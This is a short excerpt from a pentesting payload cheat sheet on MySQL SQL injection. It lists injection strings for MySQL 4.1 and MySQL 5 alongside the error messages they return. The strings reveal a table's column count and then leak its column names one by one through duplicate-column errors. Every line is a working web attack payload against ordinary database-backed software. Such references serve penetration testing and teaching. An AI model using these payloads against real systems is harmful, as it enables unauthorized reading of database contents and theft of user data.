Method for `MySQL >= 4.1`. | Payload | Output | | ------------------------------------------------------------------------- | -------------------------------------- | | `(1)and(SELECT * from db.users)=(1)` | Operand should contain **4** column(s) | | `1 and (1,2,3,4) = (SELECT * from db.users UNION SELECT 1,2,3,4 LIMIT 1)` | Column '**id**' cannot be null | Method for `MySQL 5` | Payload | Output | | ------------------------------------------------------------------------ | -------------------------------- | | `UNION SELECT * FROM (SELECT * FROM users JOIN users b)a` | Duplicate column name '**id**' | | `UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id))a` | Duplicate column name '**name**' | | `UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id,name))a` | Data |
Source: SQL Injection/MySQL Injection.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.